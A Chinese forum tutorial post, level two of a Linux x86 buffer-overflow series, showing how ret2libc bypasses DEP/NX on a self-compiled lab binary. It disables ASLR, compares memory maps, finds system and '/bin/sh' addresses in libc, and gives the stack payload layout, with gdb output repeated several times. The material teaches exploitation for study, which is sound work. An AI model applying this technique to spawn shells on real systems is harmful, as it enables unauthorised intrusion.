首页
社区
课程
招聘
[原创]《linux x86 缓冲区溢出》level2: Bypass DEP 通过ret2libc绕过DEP防护
发表于: 2023-12-30 11:12 8353

[原创]《linux x86 缓冲区溢出》level2: Bypass DEP 通过ret2libc绕过DEP防护

2023-12-30 11:12
8353

这里继续参考郑敏老师的文章: 《一步一步学ROP之linux_x86篇》

前面level1关闭了所有的保护机制,今天给大家带来的是通过ret2libc技术来绕过DEP(NX)保护,编译选项依然关闭栈保护(-fno-stack-protector)和地址随机化;

编译如下(移除了-z execstack选项):

gcc -m32 -fno-stack-protector -o level2 level2.c

关闭aslr地址随机化的方法和level1一致

gdb使用peda插件的vmmap命令查看maps的属性。

level1各个map属性如下

level2各个map属性如下

可以看到level2的栈是没有可执行属性的。如果将shellcode部署在buf(栈内存)上,当函数返回时去栈内执行shellcode是会出错的。

既然栈没了可执行的属性,再在栈上部署shellcode的方式已经不可行了,但是经过前人的研究发现了ret2libc这种技术。

ret2libc从词面意思可以看出通过控制ret(返回地址)去libc执行代码,因为libc作为一个库是有可执行属性的。在libc中执行代码是可行的。

并且libc中有我们想要的system函数和"/bin/sh"字符串。

我们要组装system("/bin/sh")的栈布局。

在函数system被执行时,我们要在栈上部署好字符串"/bin/sh"的地址。

部分栈内存布局如下

|system_addr(4字节) |nop(4字节)|"/bin/sh"字符串地址(4字节)|

这样当system执行时它会去栈上找到命令行。

通过命令行 print system 或者 p system 可以打印出system函数的地址

system = 0xf7c48170

以下是libc的map情况

libc起始地址 0xf7c00000 ,结束地址 0xf7e2b000

通过peda 命令 find "/bin/sh" 0xf7c00000 0xf7e2b000

binsh = 0xf7dbd0f5

如何确认ret的offset,请参考上一篇文章。

|140 * 'A'|system_addr(4字节) |nop(4字节)|"/bin/sh"字符串地址(4字节)|

bingo

sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit
gdb-peda$ vmmap
Start      End        Perm  Name
0x56555000 0x56556000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56556000 0x56557000 r-xp  /home/dbg/Desktop/rop/level1/level1
0x56557000 0x56558000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56558000 0x56559000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56559000 0x5655a000 rw-p  /home/dbg/Desktop/rop/level1/level1
0xf7c00000 0xf7c20000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7c20000 0xf7da2000 r-xp  /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7e27000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e27000 0xf7e28000 ---p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e28000 0xf7e2a000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2a000 0xf7e2b000 rw-p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2b000 0xf7e35000 rw-p  mapped
0xf7fbe000 0xf7fc0000 rw-p  mapped
0xf7fc0000 0xf7fc4000 r--p  [vvar]
0xf7fc4000 0xf7fc6000 r-xp  [vdso]
0xf7fc6000 0xf7fc7000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc7000 0xf7fec000 r-xp  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fec000 0xf7ffb000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp  [stack]
gdb-peda$ vmmap
Start      End        Perm  Name
0x56555000 0x56556000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56556000 0x56557000 r-xp  /home/dbg/Desktop/rop/level1/level1
0x56557000 0x56558000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56558000 0x56559000 r--p  /home/dbg/Desktop/rop/level1/level1
0x56559000 0x5655a000 rw-p  /home/dbg/Desktop/rop/level1/level1
0xf7c00000 0xf7c20000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7c20000 0xf7da2000 r-xp  /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7e27000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e27000 0xf7e28000 ---p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e28000 0xf7e2a000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2a000 0xf7e2b000 rw-p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2b000 0xf7e35000 rw-p  mapped
0xf7fbe000 0xf7fc0000 rw-p  mapped
0xf7fc0000 0xf7fc4000 r--p  [vvar]
0xf7fc4000 0xf7fc6000 r-xp  [vdso]
0xf7fc6000 0xf7fc7000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc7000 0xf7fec000 r-xp  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fec000 0xf7ffb000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rwxp  [stack]
gdb-peda$ vmmap
Start      End        Perm  Name
0x56555000 0x56556000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56556000 0x56557000 r-xp  /home/dbg/Desktop/rop/level2/level2
0x56557000 0x56558000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56558000 0x56559000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56559000 0x5655a000 rw-p  /home/dbg/Desktop/rop/level2/level2
0xf7c00000 0xf7c20000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7c20000 0xf7da2000 r-xp  /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7e27000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e27000 0xf7e28000 ---p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e28000 0xf7e2a000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2a000 0xf7e2b000 rw-p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2b000 0xf7e35000 rw-p  mapped
0xf7fbe000 0xf7fc0000 rw-p  mapped
0xf7fc0000 0xf7fc4000 r--p  [vvar]
0xf7fc4000 0xf7fc6000 r-xp  [vdso]
0xf7fc6000 0xf7fc7000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fc7000 0xf7fec000 r-xp  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7fec000 0xf7ffb000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffb000 0xf7ffd000 r--p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xf7ffd000 0xf7ffe000 rw-p  /usr/lib/i386-linux-gnu/ld-linux.so.2
0xfffdd000 0xffffe000 rw-p  [stack]
gdb-peda$ vmmap
Start      End        Perm  Name
0x56555000 0x56556000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56556000 0x56557000 r-xp  /home/dbg/Desktop/rop/level2/level2
0x56557000 0x56558000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56558000 0x56559000 r--p  /home/dbg/Desktop/rop/level2/level2
0x56559000 0x5655a000 rw-p  /home/dbg/Desktop/rop/level2/level2
0xf7c00000 0xf7c20000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7c20000 0xf7da2000 r-xp  /usr/lib/i386-linux-gnu/libc.so.6
0xf7da2000 0xf7e27000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e27000 0xf7e28000 ---p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e28000 0xf7e2a000 r--p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2a000 0xf7e2b000 rw-p  /usr/lib/i386-linux-gnu/libc.so.6
0xf7e2b000 0xf7e35000 rw-p  mapped

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 2
支持
分享
最新回复 (1)
雪    币: 3059
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2023-12-30 22:39
1
游客
登录 | 注册 方可回帖
返回
//